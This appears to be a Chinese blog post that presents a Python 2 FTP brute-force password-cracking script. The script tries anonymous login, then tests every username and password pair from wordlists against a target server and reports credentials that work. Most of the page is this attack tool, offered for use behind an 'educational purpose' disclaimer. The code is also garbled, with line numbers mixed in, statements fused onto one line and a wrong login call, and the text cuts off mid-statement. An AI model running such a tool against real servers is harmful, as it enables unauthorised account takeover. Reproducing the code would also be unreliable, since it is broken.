渗透用的python脚本之密码破解

FTP暴力破解脚本
 

#!/usr/bin/env python

002 #-*-coding = utf- 8 -*-

003 #author: @xfk

004 #blog: @blog .sina.com.cn/kaiyongdeng

005 #date: @2012 - 05 - 08

006

007 import sys, os, time

008 from ftplib import FTP

009 docs = "" "

010            [*] This was written for educational purpose and pentest only. Use it at your own risk.

011            [*] Author will be not responsible for any damage!

012            [*] Toolname : ftp_bf.py

013            [*] Coder :

014            [*] Version : 0.1

015            [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt

016        "" "

017

018 if sys.platform == 'linux' or sys.platform == 'linux2' :

019     clearing = 'clear'

020 else :

021     clearing = 'cls'

022 os.system(clearing)

023 R = "\033[31m" ;

024 G = "\033[32m" ;

025 Y = "\033[33m"

026 END = "\033[0m"

027 def logo():

028     print G+ "\n |---------------------------------------------------------------|"

029     print " | |"

030     print " | blog.sina.com.cn/kaiyongdeng |"

031     print " | 08/05/2012 ftp_bf.py v.0.1 |"

032     print " | FTP Brute Forcing Tool |"

033     print " | |"

034     print " |---------------------------------------------------------------|\n"

035     print " \n [-] %s\n" % time.strftime( "%X" )

036     print docs+END

037

038 def help():

039     print R+ "[*]-t, --target ip/hostname <> Our target"

040     print "[*]-u, --usernamelist usernamelist <> usernamelist path"

041     print "[*]-p, --passwordlist passwordlist <> passwordlist path"

042     print "[*]-h, --help help <> print this help"

043     print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt" +END sys.exit( 1 )

044

045 def bf_login(hostname,username,password):

046     # sys.stdout.write( "\r[!]Checking : %s " % (p))

047     # sys.stdout.flush()

048     try :

049         ftp = FTP(hostname)

050         ftp.login(hostname,username, password)

051         ftp.retrlines( 'list' )

052         ftp.quit()

053         print Y+ "\n[!] w00t,w00t!!! We did it ! "

054         print "[+] Target : " ,hostname, ""

055         print "[+] User : " ,username, ""

056         print "[+] Password : " ,password, "" +END

057         return 1

058     # sys.exit( 1 )

059     except Exception, e:

060         pass except KeyboardInterrupt: print R+ "\n[-] Exiting ...\n" +END

061     sys.exit( 1 )

062

063 def anon_login(hostname):

064     try :

065         print G+ "\n[!] Checking for anonymous login.\n" +END

066         ftp = FTP(hostname) ftp.login()

067         ftp.retrlines( 'LIST' )

068         print Y+ "\n[!] w00t,w00t!!! Anonymous login successfuly !\n" +END

069         ftp.quit()

070     except Exception, e:

071         print R+ "\n[-] Anonymous login failed...\n" +END

072         pass

073

074 def main():

075     logo()

076     try :

077         for arg in sys.argv:

078             if arg.lower() == '-t' or arg.lower() == '--target' :

079                 hostname = sys.argv[ int (sys.argv[ 1 :].index(arg))+ 2 ]

080             elif arg.lower() == '-u' or arg.lower() == '--usernamelist' :

081                 usernamelist = sys.argv[ int (sys.argv[ 1 :].index(arg))+ 2 ]

082             elif arg.lower() == '-p' or arg.lower() == '--passwordlist' :

083                 passwordlist = sys.argv[ int (sys.argv[ 1 :].index(arg))+ 2 ]

084             elif arg.lower() == '-h' or arg.lower() == '--help' :

085                 help()

086             elif len(sys.argv) <= 1 :

087                 help()

088     except:

089         print R+ "[-]Cheak your parametars input\n" +END

090         help()

091

092     print G+ "[!] BruteForcing target ..." +END

093     anon_login(hostname)

094     # print "here is ok"

095     # print hostname

096     try :

097         usernames = open(usernamelist, "r" )

098         user = usernames.readlines()

099         count1 = 0

100         while count1 < len(user):

101             user[count1] = user[count1].strip()

102             count1 += 1

103     except:

104         print R+ "\n[-] Cheak your usernamelist path\n" +END

105         sys.exit( 1 )

106

107     # print "here is ok " ,usernamelist,passwordlist

108     try :

109         passwords = open(passwordlist, "r" )

110         pwd = passwords.readlines()

111         count2 = 0

112         while count2 < len(pwd):

113             pwd[count2] = pwd[count2].strip()

114             count2 += 1

115     except:

116         print R+ "\n[-] Check your passwordlist path\n" +END

117         sys.exit( 1 )

118

119     print G+ "\n[+] Loaded:" ,len(user), "usernames"

120     print "\n[+] Loaded:" ,len(pwd), "passwords"

121     print "[+] Target:" ,hostname

122     print "[+] Guessing...\n" +END

123     for u in user: for p in pwd:

124         result = bf_login(hostname,u.replace( "\n" , "" ),p.replace( "\n" , "" ))

125         if result != 1 :

126             print G+ "[+]Attempt uaername:%s password:%s..." % (u,p) + R+ "Disenable" +END

127         else :

128             print G+